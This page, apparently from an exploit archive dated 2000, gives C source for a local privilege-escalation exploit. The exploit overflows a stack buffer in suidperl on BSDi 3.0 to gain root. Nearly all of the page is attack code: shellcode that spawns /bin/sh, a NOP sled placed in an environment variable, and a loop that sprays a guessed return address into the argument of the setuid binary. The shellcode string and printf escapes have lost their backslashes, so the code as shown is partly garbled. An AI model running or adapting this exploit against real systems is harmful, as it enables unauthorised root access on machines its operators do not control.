[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BSDi suidperl Local Stack Buffer Overflow Exploit
# Published : 2000-11-21
# Author : vade79
# Previous Title : MS Windows XP (explorer.exe) Buffer Overflow Exploit
# Next Title : CdRecord Version <= 2.0 Mandrake local root exploit


/* (BSDi)suidperl[] buffer overflow, by v9[v9@fakehalo.org].  this is that old
   buffer overflow in suidperl, but i never saw any version of it for BSDi.
   so, here it is.  this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl"	/* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000		/* general offset, a lot of room. */
static char exec[]=
 "xebx1fx5ex31xc0x89x46xf5x88x46xfax89x46x0c" /* 14 characters. */
 "x89x76x08x50x8dx5ex08x53x56x56xb0x3bx9axff" /* 14 characters. */
 "xffxffxffx07xffxe8xdcxffxffxffx2fx62x69x6e" /* 14 characters. */
 "x2fx73x68x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[2048],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[v9@fakehalo.org]. ]n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 eip[0]=0x01;
 for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;}
 eip[1248]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, offset: %d.n",ret,offset);
 if(execlp(PATH,"suidperl",eip,0)){
  printf("*** [error]: could not execute %s successfully.n",PATH);
  exit(1);
 }
}


// www.Syue.com [2000-11-21]